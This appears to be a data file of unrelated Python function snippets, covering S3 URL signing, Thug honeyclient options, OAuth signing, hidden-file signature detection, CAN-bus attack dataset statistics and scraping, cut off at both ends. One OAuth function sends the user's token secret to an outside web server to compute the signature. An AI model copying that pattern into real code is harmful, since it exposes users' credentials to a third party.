file_count # bytes","def signature(request) -> str:\n return get_test_data(request, __name__, \"signature\", \"r\")","def get_signed_urls(urls, rse, operation='read'):\n result = {}\n for url in urls:\n try:\n endpoint, bucket_name, key_name = _get_endpoint_bucket_key(url)\n\n signed_url = None\n if operation == 'read':\n # signed_url = conn.generate_url(3600, 'GET', bucket_name, key_name, query_auth=True, force_http=False)\n bucket = _get_bucket(rse, endpoint, bucket_name)\n key = bucket.get_key(key_name)\n if key is None:\n signed_url = exception.SourceNotFound('Key %s not found on %s' % (key_name, endpoint))\n else:\n try:\n signed_url = key.generate_url(3600, 'GET', query_auth=True, merge_meta=False, force_http=False)\n except TypeError:\n # merge_meta option is not supported\n signed_url = key.generate_url(3600, 'GET', query_auth=True, force_http=False)\n else:\n conn = _get_connection(rse, endpoint)\n _get_bucket(rse, endpoint, bucket_name, operation='write')\n signed_url = conn.generate_url(3600, 'PUT', bucket_name, key_name, query_auth=True, force_http=False)\n result[url] = signed_url\n except boto.exception.S3ResponseError as e:\n if e.status in [404, 403]:\n result[url] = exception.DestinationNotAccessible(e)\n else:\n result[url] = exception.ServiceUnavailable(e)\n except exception.RucioException as e:\n result[url] = e\n except:\n result[url] = exception.RucioException(\"Failed to get signed url for %s, error: %s\" % (url, traceback.format_exc()))\n return result","def parsing():\n # User Agents\n user_agents = '''\nAvailable User-Agents:\n winxpie60 Internet Explorer 6.0 (Windows XP)\n winxpie61 Internet Explorer 6.1 (Windows XP)\n winxpie70 Internet Explorer 7.0 (Windows XP)\n winxpie80 Internet Explorer 8.0 (Windows XP)\n winxpchrome20 Chrome 20.0.1132.47 (Windows XP)\n winxpfirefox12 Firefox 12.0 (Windows XP)\n winxpsafari5 Safari 5.1.7 (Windows XP)\n win2kie60 Internet Explorer 6.0 (Windows 2000)\n win2kie80 Internet Explorer 8.0 (Windows 2000)\n win7ie80 Internet Explorer 8.0 (Windows 7)\n win7ie90 Internet Explorer 9.0 (Windows 7)\n win7chrome20 Chrome 20.0.1132.47 (Windows 7)\n win7firefox3 Firefox 3.6.13 (Windows 7)\n win7safari5 Safari 5.1.7 (Windows 7)\n osx10safari5 Safari 5.1.1 (MacOS X 10.7.2)\n osx10chrome19 Chrome 19.0.1084.54 (MacOS X 10.7.4)\n galaxy2chrome18 Chrome 18.0.1025.166 (Samsung Galaxy S II,\\\nAndroid 4.0.3)\n galaxy2chrome25 Chrome 25.0.1364.123 (Samsung Galaxy S II,\\\nAndroid 4.0.3)\n linuxchrome26 Chrome 26.0.1410.19 (Linux)\n linuxfirefox19 Firefox 19.0 (Linux)\n '''\n\n # Description of Command Line arguments\n parser = argparse.ArgumentParser(description='Distributed Pure Python \\\nHoneyclient Implementation',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n usage='python %(prog)s [ thug-options ] url',\n fromfile_prefix_chars='@',\n epilog=user_agents)\n\n def link(urls):\n links = urls.strip().split(',')\n for url in links:\n try:\n if 'http://' not in url:\n url = 'http://' + url\n urlopen(url)\n except:\n raise argparse.ArgumentTypeError(\"%s doesn't exist\"%url)\n return urls\n\n def link_file(fn):\n fobj = open(fn, 'r')\n url = fobj.readline().strip()\n urls = []\n while url:\n try:\n if 'http://' not in url:\n url = 'http://' + url\n urlopen(url)\n urls.append(url)\n except:\n raise argparse.ArgumentTypeError(\"%s doesn't exist\"%url)\n url = fobj.readline().strip()\n return urls\n\n # Mutually Exclusive Group for URL's\n links = parser.add_argument_group('URL Options')\n url = links.add_mutually_exclusive_group(required=True)\n url.add_argument('-U', '--url',\n metavar='',\n type=link,\n nargs='+',\n help=\"Enter Single/Multiple URL's to Analyze\")\n url.add_argument('-uf', '--url-file',\n metavar='',\n type=link_file,\n help=\"File containing bunch of URL's(1 per line)\")\n\n def qfile(fn):\n fobj = open(fn, 'r')\n queues = fobj.readlines()\n queues = map((lambda x: x.replace('\\n', '')), queues)\n return queues\n\n # ThugD Options\n thugd = parser.add_argument_group('Thug Distributed Options')\n thugd.add_argument('-ia', '--include-agent',\n action='store_const',\n const=agents_priority,\n help='Display Thug Version')\n # Queues Mutually Exclusive Group\n queue = thugd.add_mutually_exclusive_group(required=False)\n queue.add_argument('-qu', '--queue',\n nargs='+',\n metavar='',\n default='generic',\n help=\"Specify Queue/Queues to route URL's \\\n(*Single Queue: URL's will be routed to specified Queue, \\\n*Multiple Queues: URL's will be routed to ALL specified Queues)\")\n queue.add_argument('-qf', '--queue-file',\n metavar='',\n type=qfile,\n help=\"Specify File name containing Queue names(1 per \\\nline)\")\n\n # Thug Options\n thug = parser.add_argument_group('Thug Options')\n thug.add_argument('-V', '--version',\n action='store_true',\n help='Display Thug Version')\n thug.add_argument('-u', '--useragent',\n metavar='',\n default='winxpie60',\n help='Select a user agent(see below for values, \\\ndefault: winxpie60)')\n thug.add_argument('-e', '--events',\n metavar='',\n help='Enable comma-separated specified DOM events \\\nhandling')\n thug.add_argument('-w', '--delay',\n metavar='',\n help='Set a maximum setTimeout/setInterval delay value \\\n(in milliseconds)')\n thug.add_argument('-n', '--logdir',\n metavar='',\n help='Set the log output directory')\n thug.add_argument('-o', '--output',\n metavar='',\n help='Log to a specified file')\n thug.add_argument('-r', '--referer',\n metavar='',\n help='Specify a referer')\n thug.add_argument('-p', '--proxy',\n metavar='',\n help='Specify a proxy (see below for format and \\\nsupported schemes)')\n thug.add_argument('-l', '--local',\n action='store_true',\n help='Analyze a locally saved page')\n thug.add_argument('-x', '--local-nofetch',\n action='store_true',\n help='Analyze a locally saved page and prevent remote\\\ncontent fetching')\n thug.add_argument('-v', '--verbose',\n action='store_true',\n help='Enable verbose mode')\n thug.add_argument('-d', '--debug',\n action='store_true',\n help='Enable debug mode')\n thug.add_argument('-q', '--quiet',\n action='store_true',\n help='Disable console logging')\n thug.add_argument('-m', '--no-cache',\n action='store_true',\n help='Disable local web cache')\n thug.add_argument('-a', '--ast-debug',\n action='store_true',\n help='Enable AST debug mode (requires \\\ndebug mode)')\n thug.add_argument('-t', '--threshold',\n metavar='',\n help='Maximum pages to fetch')\n thug.add_argument('-E', '--extensive',\n action='store_true',\n help='Extensive fetch of linked pages')\n thug.add_argument('-T', '--timeout',\n metavar='',\n help='Timeout in minutes')\n\n # Plugins\n plugin = parser.add_argument_group('Plugins')\n plugin.add_argument('-A', '--adobepdf',\n metavar='',\n default='9.1.0',\n help='Specify the Adobe Acrobat Reader version \\\n(default: 9.1.0)')\n plugin.add_argument('-P', '--no-adobepdf',\n action='store_true',\n help='Disable Adobe Acrobat Reader Plugin')\n plugin.add_argument('-S', '--shockwave',\n metavar='',\n default='10.0.64.0',\n help='Specify the Shockwave Flash version \\\n(default: 10.0.64.0)')\n plugin.add_argument('-R', '--no-shockwave',\n action='store_true',\n help='Disable Shockwave Flash Plugin')\n plugin.add_argument('-J', '--javaplugin',\n metavar='',\n default='1.6.0.32',\n help='Specify the Java Plugin version (default: \\\n1.6.0.32)')\n plugin.add_argument('-K', '--no-javaplugin',\n action='store_true',\n help='Disable Java Plugin')\n\n # Classifier\n classifier = parser.add_argument_group('Classifiers')\n classifier.add_argument('-Q', '--urlclassifier',\n metavar='',\n help='Specify a list of additional (comma \\\nseparated) URL classifier rule files')\n classifier.add_argument('-W', '--jsclassifier',\n metavar='',\n help='Specify a list of additional (comma \\\nseparated) JS classifier rule files')\n\n return parser.parse_args()","def report(start_time, word_counts, signatures):\n\n # Compute and report execution time...\n exec_time = time.time() - start_time\n print(\n \"%i word types processed in %.2f secs\"\n % (len(word_counts), exec_time)\n )\n\n # Compute and report coverage...\n covered = collections.Counter()\n for suffixes, stems in signatures.items():\n covered.update(st+su for su, st in itertools.product(suffixes, stems))\n spectrum = collections.Counter(covered.values())\n for frequency in sorted(spectrum):\n print(\n \"%i type(s) (%.2f%%) have been assigned to %i signature(s)\" % (\n spectrum[frequency],\n 100 * spectrum[frequency] / len(word_counts),\n frequency\n )\n )","def getDomainInfo(domain, cfg):\n username = cfg[\"hs_username\"]\n password = cfg[\"hs_password\"]\n endpoint = cfg[\"hs_endpoint\"]\n bucket = cfg[\"hs_bucket\"]\n if \"rescan\" in cfg and cfg[\"rescan\"]:\n mode = \"r+\" # need write intent\n else:\n mode = \"r\"\n\n if domain.endswith(\"/\"):\n is_folder = True\n else:\n is_folder = False\n\n try:\n if is_folder:\n f = h5pyd.Folder(\n domain,\n mode=mode,\n endpoint=endpoint,\n username=username,\n password=password,\n bucket=bucket,\n use_cache=True,\n )\n else:\n f = h5pyd.File(\n domain,\n mode=mode,\n endpoint=endpoint,\n username=username,\n password=password,\n bucket=bucket,\n use_cache=False,\n )\n except IOError as oe:\n if oe.errno in (404, 410): # Not Found\n abort(f\"domain: {domain} not found\")\n elif oe.errno == 401: # Unauthorized\n abort(\"Authorization failure\")\n elif oe.errno == 403: # Forbidden\n abort(\"Not allowed\")\n else:\n abort(f\"Unexpected error: {oe}\")\n\n timestamp = datetime.fromtimestamp(int(f.modified))\n if not is_folder and f.last_scan:\n last_scan = datetime.fromtimestamp(int(f.last_scan))\n else:\n last_scan = None\n\n if is_folder:\n print(f\"folder: {domain}\")\n print(f\" owner: {f.owner}\")\n print(f\" last modified: {timestamp}\")\n else:\n if \"rescan\" in cfg and cfg[\"rescan\"]:\n f.run_scan()\n\n # report HDF objects (groups, datasets, and named datatypes) vs. allocated chunks\n num_objects = f.num_groups + f.num_datatypes + f.num_datasets\n if f.num_chunks > 0:\n num_chunks = f.num_chunks\n else:\n # older storeinfo format doesn't have num_chunks, so calculate\n num_chunks = f.num_objects - num_objects\n\n print(f\"domain: {domain}\")\n print(f\" owner: {f.owner}\")\n print(f\" id: {f.id.id}\")\n print(f\" last modified: {timestamp}\")\n if last_scan:\n print(f\" last scan: {last_scan}\")\n if f.md5_sum:\n print(f\" md5 sum: {f.md5_sum}\")\n print(f\" total_size: {format_size(f.total_size)}\")\n print(f\" allocated_bytes: {format_size(f.allocated_bytes)}\")\n if f.metadata_bytes:\n print(f\" metadata_bytes: {format_size(f.metadata_bytes)}\")\n if f.linked_bytes:\n print(f\" linked_bytes: {format_size(f.linked_bytes)}\")\n print(f\" num objects: {num_objects}\")\n print(f\" num chunks: {num_chunks}\")\n if f.num_linked_chunks:\n print(f\" linked chunks: {f.num_linked_chunks}\")\n\n f.close()","def identify(source_path):\r\n binary_string = get(source_path)\r\n\r\n print(source_path + \" include following FILE SIGNATURES\")\r\n\r\n footer_result = get_signature_index(binary_string, footers)\r\n header_result = get_signature_index(binary_string, headers)\r\n\r\n if check_hidden_data(binary_string, header_result, footer_result):\r\n print('This file include hidden file.')\r\n\r\n for file_type, header_indexies in header_result.items():\r\n print('File type: '+file_type+' Detect: '+str(len(header_indexies))+' files')\r\n print('HEADER')\r\n result = ''\r\n for i, location in enumerate(header_indexies):\r\n if i == (len(header_indexies)-1):\r\n result += str(location[0]//2) + ' bytes - ' + str((location[1]-1)//2) + ' bytes'\r\n else:\r\n result += str(location[0]//2) + ' bytes - ' + str((location[1]-1)//2) + ' bytes, '\r\n print(result)\r\n\r\n print('FOOTER')\r\n result = ''\r\n if file_type in footer_result:\r\n footer_indexies = footer_result[file_type]\r\n for i, location in enumerate(footer_indexies):\r\n if i == (len(footer_indexies)-1):\r\n result += str(location[0]//2) + ' bytes - ' + str((location[1]-1)//2) + ' bytes'\r\n else:\r\n result += str(location[0]//2) + ' bytes - ' + str((location[1]-1)//2) + ' bytes, '\r\n print(result+'\\n')","def aws_signature(bucket,keypath,expires,secret_access_key=''):\n sign_msg = ('GET\\n\\n\\n'+expires+'\\n' +'/'+bucket+'/'+keypath)\n h = hmac.new(secret_access_key, sign_msg, hashlib.sha1)\n signature = urllib.quote(base64.b64encode(h.digest()))\n return (signature,sign_msg)","def analyze():\n\n url = request.form.get(\"url\", \"\").strip()\n use_reducer = not (\"noreduce\" in request.form)\n dump_forest = \"dump\" in request.form\n metadata = None\n # Single sentence (True) or contiguous text from URL (False)?\n single = False\n keep_trees = False\n\n t0 = time.time()\n\n if url.startswith(\"http:\") or url.startswith(\"https:\"):\n # Scrape the URL, tokenize the text content and return the token list\n metadata, generator = process_url(url)\n toklist = list(generator)\n # If this is an already scraped URL, keep the parse trees and update\n # the database with the new parse\n keep_trees = Scraper.is_known_url(url)\n else:\n # Tokenize the text entered as-is and return the token list\n # In this case, there's no metadata\n toklist = list(tokenize(url))\n single = True\n\n tok_time = time.time() - t0\n\n t0 = time.time()\n\n # result = profile(parse, toklist, single, use_reducer, dump_forest)\n result, trees = parse(toklist, single, use_reducer, dump_forest, keep_trees)\n\n # Add a name register to the result\n create_name_register(result)\n\n parse_time = time.time() - t0\n\n if keep_trees:\n # Save a new parse result\n if Settings.DEBUG:\n print(\"Storing a new parse tree for url {0}\".format(url))\n Scraper.store_parse(url, result, trees)\n\n result[\"metadata\"] = metadata\n result[\"tok_time\"] = tok_time\n result[\"parse_time\"] = parse_time\n\n # Return the tokens as a JSON structure to the client\n return jsonify(result = result)","def run_main():\n # Matching lines against a matcher function.\n matched_lines = match_file(file_names, matcher)\n\n # Will contain data sorted by file.\n binned_data = {}\n\n # Looking through the lines that were inserted into the metrics file via the metrics component.\n for key in matched_lines:\n\n # Grabbing matched lines by the file or orgination.\n buffer = matched_lines[key]\n\n # This will contain dictionaries converted from JSON.\n data = []\n\n # Loop through the collection, appending data converted from JSON entries.\n for line in buffer:\n data.append(extract_data(line))\n\n # Sort the data by file.\n binned_data[key] = sort_data(data)\n\n # Output the final results.\n generate_statistics(binned_data)\n return 0","def sign(filename: str) -> str:\n fs, relative_path = url_to_fs(filename)\n try:\n return cast(str, fs.sign(relative_path))\n except NotImplementedError:\n return filename","def build_signature(method, url, oauth_params, params={}):\n\t# Copy params to prevent modification from original params\n\tall_params = copy.deepcopy(oauth_params)\n\t# Combine OAuth parameters and original parameters\n\tall_params.update(params)\n\t# Sort, stringify, and encode all parameters\n\tkeys = sorted(all_params.keys())\n\tencoded_params = ''\n\tfor key in keys:\n\t\tencoded_params += key+'='+percent_encode(str(all_params[key]))+'&'\n\tencoded_params = encoded_params[:-1]\n\tbase_string = method.upper()+'&'+percent_encode(url)+'&'+percent_encode(encoded_params)\n\t# Request crypt calculation to the server and return caluculated value\n\tcalc_url = 'https://www.ryotosaito.com/shielld/calc_signature.php'\n\toauth_token_secret = users[user_name]['oauth_token_secret'] if user_name in users else ''\n\tparams = {'base_string' : base_string, 'oauth_token_secret' : oauth_token_secret}\n\trequest = requests.post(calc_url, params);\n\treturn request.text","def magic_analyzer(site, image_urls):\n res = None\n try:\n res = MagicHayStack.get_price(site.get('url'), image_urls)\n except Exception as e:\n print(str(e))\n\n if not res:\n print('[FAIL] magic: price not found')\n return None\n else:\n p = []\n for r in res:\n if r[0]:\n p.append({\n 'method': 'magic',\n 'price': r[0],\n 'currency': r[1],\n 'rule': {\n 'selector': 'magic',\n 'weight': r[2]\n },\n 'event_time': datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n })\n if not p:\n print('[FAIL] magic: price not found')\n return None\n else:\n print('[SUCCESS] magic:', p)\n return p","def plot(self, *path, **attrs):\n # Check for expected number of arguments\n if len(path) == 1:\n # Check it's a short url we know of\n if path[0] in self.urls:\n mimetype = 'image/png' # We'll just assume they're all png for the moment\n url = self.urls[path[0]] # Get the full URL from the dictionary\n data = urllib2.urlopen(url).read() # Read the data from this url\n return mimetype, data # Return the data and mimetype\n\n # Something went wrong, return an error condition\n return None, None","def runAuthorStats(date):\n print(\"getting author stats\")\n input_bucket = 'emg-author-subreddit-pairs-ids'\n output_bucket = 'emg-author-stats'\n df = streamBlob(input_bucket, date)\n df = df.reset_index().astype({'author':str,'subreddit':str,'num_comments':int})\n\n df = df.sort_values(['author_id','subreddit_id'])\n incidence = CSR(df, 'author_id', 'subreddit_id', 'num_comments')\n \n results = {}\n for i in tqdm(df['author_id'].unique()): #parralel-ise?\n values = incidence[i,:].data\n results[i] = {'aut_sub_count':np.count_nonzero(values),\n 'aut_com_count':np.sum(values),\n 'aut_com_entropy': stats.entropy(values), \n 'aut_com_gini': gini(values),\n 'aut_com_blau': blau(values)}\n \n output = pd.DataFrame.from_dict(results, orient='index')\n \n result = df.merge(output, left_on='author_id', right_index=True)\n result['aut_insub'] = result['num_comments']/result['aut_com_count']\n\n filename = cachePath(f\"\"\"{date}/authorStats.gzip\"\"\")\n print(f\"\"\"saving to {filename}\"\"\")\n result.to_csv(filename,compression='gzip')\n\n uploadCommands(filename, output_bucket, date)","def _get_signature(search_results: SearchResults) -> Text:\n # Was previously logic here. Leaving method in case it's needed again\n return COMMENT_SIGNATURE","def _calculate_statistics(site, data):\n from_date = datetime.datetime.fromtimestamp(data[0].get('date') / 1000,\n tz=pytz.timezone(\"Europe/Budapest\"))\n to_date = datetime.datetime.fromtimestamp(data[-1].get('date') / 1000,\n tz=pytz.timezone(\"Europe/Budapest\"))\n logger.debug(\"calculate statistics for site {} from {} to {}\".format(site, from_date, to_date))\n UploadHandler._create_temporary_data(site=site, from_date=from_date, to_date=to_date)\n # create_statistics(site=site, from_date=from_date, to_date=to_date)","def _sign(self, oauth_payload, request):\n\t\t# merge params\n\t\t# use oauth_payload to update request params might avoid \n\t\t# some oauth params's accidental overriding\n\t\tpayload = dict( request.params )\n\t\tpayload.update( oauth_payload )\n\n\t\t# here I assume that all keys contain only 'a-zA-Z_.-'\n\t\t# thus there is no necessity to percent-encode them\n\t\t# will now sort them according to their original value\n\n\t\tkeylist = sorted( payload.keys() )\n\t\trawlist = []\n\t\tfor k in keylist:\n\t\t\tencoded_value = percent_encode( payload[k] )\n\t\t\trawlist.append( \"%s=%s\" % (k, encoded_value) )\n\n\t\t# craft base string\n\t\tbase_string = request.method.upper()\n\t\tbase_string += '&'\n\t\tbase_string += percent_encode(request.base_url)\n\t\tbase_string += '&'\n\t\tbase_string += percent_encode( '&'.join( rawlist ) )\n\n\t\tself._print( \"Base string:\\n\" + base_string )\n\t\t# craft signing key\n\t\tif self.has_user():\n\t\t\tsigning_key = \"%s&%s\" % ( percent_encode(self.secret), percent_encode(self.a_secret) )\n\t\telse:\n\t\t\tsigning_key = \"%s&%s\" % ( percent_encode(self.secret), percent_encode(self.token_secret) )\n\n\t\t# sign base_string\n\t\thashed = hmac.new(signing_key, base_string, hashlib.sha1)\n\t\tsignature = binascii.b2a_base64(hashed.digest())[:-1]\n\t\t\n\t\t# append signature field\n\t\toauth_payload[\"oauth_signature\"] = signature\n\n\t\t# prepare relevant oauth values\n\t\toauth_entry = []\n\t\tfor k in oauth_payload.keys():\n\t\t\tencoded_value = percent_encode( oauth_payload[k] )\n\t\t\toauth_entry.append( '%s=\"%s\"' % (k, encoded_value) )\n\n\t\toauth_str = 'OAuth ' + ','.join(oauth_entry)\n\t\tself._print( \"OAuth header:\\n\" + oauth_str )\n\t\t# field crafted\n\t\treturn { \"Authorization\" : oauth_str }","def testSignature(self):\n raw_data = copy.deepcopy(TEST_DATA)\n # Preserve only the first stack.\n raw_data['subtree_stacks'] = raw_data['subtree_stacks'][0:1]\n root_frame = (\n raw_data['subtree_stacks'][0]['frames'][raw_data['subtree_root_depth']])\n\n # Check that the function gets truncated to the max length.\n root_frame['function_name'] = 'x' * (SIGNATURE_MAX_LENGTH + 1)\n uma_data = UMASamplingProfilerData(\n raw_data, ChromeDependencyFetcher(self.GetMockRepoFactory()))\n self.assertEqual(uma_data.signature, 'x' * SIGNATURE_MAX_LENGTH)\n\n # Check that unsymbolized functions are properly handled.\n del root_frame['function_name']\n uma_data = UMASamplingProfilerData(\n raw_data, ChromeDependencyFetcher(self.GetMockRepoFactory()))\n self.assertEqual(uma_data.signature, 'unsymbolized function')","def compute_sigs(fnm, prfx):\n print(time.asctime(), ' Computing signatures')\n start = time.time()\n (ftr, grid_list) = util.compute_features(fnm)\n end = time.time()\n print(time.asctime(), ' Done Computing signatures in ', end-start, ' seconds')\n print('There are ', str(len(fnm)), ' images', flush=True)\n np.save('signatures_' + prfx, ftr)\n \n # Save a list of the filenames with index\n out_file = 'filenames_' + prfx + '.csv'\n filehandling.write_filenames(out_file, './', fnm)\n\n return ftr","def analyze_data():\n attack_free_1 = load_messages(\"data/csv/Attack_free_dataset.csv\", verbose=True)\n\n impersonation_1 = load_messages(\"data/csv/170907_impersonation.csv\", verbose=True)\n impersonation_2 = load_messages(\"data/csv/170907_impersonation_2.csv\", verbose=True)\n impersonation_3 = load_messages(\"data/csv/Impersonation_attack_dataset.csv\", verbose=True)\n\n information = {\n \"Mean time between normal messages\":\n get_mean_time_between_normal_messages(attack_free_1),\n \"Mean time between split messages\":\n get_mean_time_between_split_messages(attack_free_1),\n \"Sum of removed intervals in '170907_impersonation.csv'\":\n get_sum_of_removed_intervals(impersonation_1, 250),\n \"Sum of removed intervals in '170907_impersonation_2.csv'\":\n get_sum_of_removed_intervals(impersonation_2, 250),\n \"Sum of removed intervals in 'Impersonation_attack_dataset.csv'\":\n get_sum_of_removed_intervals(impersonation_3, 250),\n \"Index of split in '170907_impersonation.csv'\":\n get_index_before_time(impersonation_1, 250 - 23.434627056121826),\n \"Index of split in '170907_impersonation_2.csv'\":\n get_index_before_time(impersonation_2, 250 - 20.980855226516724),\n \"Index of split in 'Impersonation_attack_dataset.csv'\":\n get_index_before_time(impersonation_3, 250 - 2.1056361198425293)\n }\n\n return information","def main():\n \n # Build arguments and grab arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"file1\", help=\"Input 1st input filename\")\n parser.add_argument(\"file2\", help=\"Input 2nd input filename\")\n args = parser.parse_args()\n\n\n #do the distance calculation\n distances, mean, stdv = find_distances(args.file1, args.file2)\n np.savetxt(str(args.file1)+\"_\"+str(args.file2)+\"_comparison\"+\".txt\", np.c_[mean, stdv], fmt=\"%s\", delimiter=\",\", header=\"mean, stdv\")\n plot = plot_distances(distances,args.file1, args.file2)\n plt.savefig((str(args.file1)+\"_\"+str(args.file2)+\"distance_histrogram.pdf\"))","def analyze_social_patterns(input_file):\n # First read in the spelling variants\n # standard, non standard\n # us, uk spelling\n standard_non_standard_pairs = util.read_variants_from_file(input_file)\n all_forms = set()\n all_forms = all_forms.union(standard_non_standard_pairs.keys())\n all_forms = all_forms.union(standard_non_standard_pairs.values())\n \n # Keeping track of stats\n subreddit_count_standard = {}\n subreddit_count_non_standard = {}\n\n # Data\n sentences_metadata = DataWrapper.DataWrapperGzipMulti(config.REDDIT_PROCESSED_DATA,\n config.REDDIT_METADATA_DATA)\n \n for sentence, metadata in sentences_metadata:\n\n author, author_text, subreddit, link = metadata.split(\"\\t\")\n\n # Now check for tokens in our list\n for token in sentence:\n if token in all_forms:\n\n if subreddit not in subreddit_count_standard:\n subreddit_count_standard[subreddit] = 0\n subreddit_count_non_standard[subreddit] = 0\n\n # standard or US spelling\n if token in standard_non_standard_pairs:\n subreddit_count_standard[subreddit] += 1\n else:\n subreddit_count_non_standard[subreddit] += 1\n\n # Print out stats\n output_file_name = os.path.splitext(os.path.basename(input_file))[0]\n with open(output_file_name + \"_subreddits_distr.txt\", \"w\") as output_file:\n for subreddit, count in subreddit_count_standard.items():\n output_file.write(\"%s\\t%s\\t%s\\n\" % (subreddit, count, subreddit_count_non_standard[subreddit]))","def _ParseSignatureIdentifiers(self, data_location, signature_identifiers):\n if not signature_identifiers:\n return\n\n if not data_location:\n raise ValueError(u'Missing data location.')\n\n path = os.path.join(data_location, u'signatures.conf')\n if not os.path.exists(path):\n raise IOError(\n u'No such format specification file: {0:s}'.format(path))\n\n try:\n specification_store = self._ReadSpecificationFile(path)\n except IOError as exception:\n raise IOError((\n u'Unable to read format specification file: {0:s} with error: '\n u'{1:s}').format(path, exception))\n\n signature_identifiers = signature_identifiers.lower()\n signature_identifiers = [\n identifier.strip() for identifier in signature_identifiers.split(u',')]\n file_entry_filter = file_entry_filters.SignaturesFileEntryFilter(\n specification_store, signature_identifiers)\n self._filter_collection.AddFilter(file_entry_filter)","def calculate(signal: Signal, attributes: Dict) -> Dict:\n regexp = re.compile(r'(linkedin.[a-z]+/in/[a-zA-Z0-9-.]+)')\n match = regexp.search(signal.bio)\n if match:\n return {\n 'linkedin': match.group(0)\n }\n if signal.url:\n match = regexp.search(signal.url)\n if match:\n return {\n 'linkedin': match.group(0)\n }\n for url in [signal.url] + get_urls_from_string(signal.bio):\n try:\n text = requests.get(url).text\n except Exception:\n continue\n match = regexp.search(text)\n if match:\n return {\n 'linkedin': match.group(0)\n }\n # If we can't scrape a LinkedIn profile, we'll try searching Google\n query = '{0} {1} {2} {3}'.format(\n attributes['best_first'],\n attributes['best_last'],\n attributes['location'],\n attributes['job']\n )\n query = re.sub(r'[^A-Za-z0-9 ]+', '', query).strip()\n logging.info('Executing LinkedIn query: {}'.format(query))\n result = requests.get(\n '{0}?key={1}'.format(CUSTOM_SEARCH, GOOGLE_CUSTOM_SEARCH_KEY),\n {\n 'q': query,\n 'cx': GOOGLE_CUSTOM_SEARCH_CX\n }\n )\n try:\n return {\n 'linkedin': result.json()['items'][0]['link']\n }\n except Exception:\n pass\n return {\n 'linkedin': ''\n }","def apkdownloadmirror_get_apk_sig_fpr(soup, **_):\n return soup.find(text=re.compile(r'Signature:')).next.text.strip()","def get_decorations_from_dfg_spaths_acticount(net, dfg, spaths, activities_count, variant=\"frequency\",\r\n aggregation_measure=None):\r\n decorations_single_contrib = {}\r\n decorations_single_contrib_trans = {}\r\n decorations_int = {}\r\n decorations = {}\r\n if aggregation_measure is None:\r\n if \"frequency\" in variant:\r\n aggregation_measure = \"sum\"\r\n elif \"performance\" in variant:\r\n aggregation_measure = \"mean\"\r\n for arc in spaths:\r\n for couple in spaths[arc]:\r\n dfg_key = couple[0]\r\n if dfg_key in dfg:\r\n if arc not in decorations_single_contrib:\r\n decorations_single_contrib[arc] = []\r\n decorations_single_contrib[arc].append(dfg[dfg_key])\r\n if dfg_key[1] not in decorations_single_contrib_trans:\r\n decorations_single_contrib_trans[dfg_key[1]] = {}\r\n decorations_single_contrib_trans[dfg_key[1]][dfg_key[0]] = dfg[dfg_key]\r\n for arc in decorations_single_contrib:\r\n decorations_value = None\r\n if aggregation_measure == \"sum\":\r\n decorations_value = sum(decorations_single_contrib[arc])\r\n elif aggregation_measure == \"mean\":\r\n decorations_value = mean(decorations_single_contrib[arc])\r\n elif aggregation_measure == \"median\":\r\n decorations_value = median(decorations_single_contrib[arc])\r\n elif aggregation_measure == \"stdev\":\r\n decorations_value = stdev(decorations_single_contrib[arc])\r\n elif aggregation_measure == \"min\":\r\n decorations_value = min(decorations_single_contrib[arc])\r\n elif aggregation_measure == \"max\":\r\n decorations_value = max(decorations_single_contrib[arc])\r\n if decorations_value is not None:\r\n decorations_int[arc] = decorations_value\r\n\r\n if decorations_int:\r\n arcs_min_value = min(list(decorations_int.values()))\r\n arcs_max_value = max(list(decorations_int.values()))\r\n for arc in decorations_int:\r\n if \"performance\" in variant:\r\n arc_label = human_readable_stat(decorations_int[arc])\r\n else:\r\n arc_label = str(decorations_int[arc])\r\n decorations[arc] = {\"label\": arc_label,\r\n \"penwidth\": str(get_arc_penwidth(decorations_int[arc], arcs_min_value, arcs_max_value))}\r\n trans_map = {}\r\n for trans in net.transitions:\r\n if trans.label:\r\n trans_map[trans.label] = trans\r\n if \"frequency\" in variant:\r\n act_min_value = min(list(activities_count.values()))\r\n act_max_value = max(list(activities_count.values()))\r\n for act in activities_count:\r\n if act in trans_map:\r\n trans = trans_map[act]\r\n color = get_trans_freq_color(activities_count[act], act_min_value, act_max_value)\r\n label = act + \" (\" + str(activities_count[act]) + \")\"\r\n decorations[trans] = {\"label\": label, \"color\": color}\r\n elif \"performance\" in variant:\r\n for act in decorations_single_contrib_trans:\r\n if act in trans_map:\r\n trans = trans_map[act]\r\n trans_values = list(decorations_single_contrib_trans[act].values())\r\n decorations[trans] = {\"performance\": mean(trans_values)}\r\n\r\n return decorations","def avg_metric(sharp_path, deblurred_path): # TODO1 do multiprocessing in those methods\n sum_psnr = 0\n sum_mse = 0\n sum_ssim = 0\n\n # List all files\n files_orig = [f for f in listdir(sharp_path) if isfile(join(sharp_path, f))]\n files_deb = [f for f in listdir(deblurred_path) if isfile(join(deblurred_path, f))]\n\n count = 0\n for orig, deb in zip(files_orig, files_deb):\n orig_fn = join(sharp_path, orig)\n deb_fn = join(deblurred_path, deb)\n # Load images\n orig_img = cv2.imread(orig_fn)\n deb_img = cv2.imread(deb_fn)\n orig_img = np.divide(orig_img, 255)\n deb_img = np.divide(deb_img, 255)\n\n # Compute metrics\n sum_psnr += peak_signal_noise_ratio(orig_img, deb_img)\n sum_mse += mean_squared_error(orig_img, deb_img)\n sum_ssim += structural_similarity(orig_img, deb_img, multichannel=True)\n\n count += 1\n print('Analyzed: {}/{}'.format(count, len(files_orig)))\n\n # Average\n avg_psnr = sum_psnr/len(files_orig)\n avg_mse = sum_mse/len(files_orig)\n avg_ssim = sum_ssim/len(files_orig)\n\n return avg_mse, avg_psnr, avg_ssim","def test_dig_sig(self):\n\n for using in [HashTypes.SHA1, HashTypes.SHA2, ]:\n self.do_test_dig_sig(using)","def hash_entries(entries):\n d = dict()\n for e in entries:\n uri = e[\"uri\"]\n domain = re.match(\"^/view\\d*/(.*)$\", uri).group(1)\n if domain:\n visitor_id = e[\"visitor_id\"]\n if d.has_key(domain):\n store_page_entries = d[domain]\n store_page_entries.append(visitor_id)\n else:\n d[domain] = [visitor_id]\n print \"Retrieved {0} unique domains.\".format(len(d))\n return d","def compare(har1_path, har2_path):\n har_file_paths1 = get_paths(har1_path)\n har_file_paths2 = get_paths(har2_path)\n\n encoded_urls1 = set([get_encoded_url(har) for har in har_file_paths1])\n encoded_urls2 = set([get_encoded_url(har) for har in har_file_paths2])\n\n url_intersection = list(encoded_urls1.intersection(encoded_urls2))\n urls_not_in_har1 = encoded_urls2 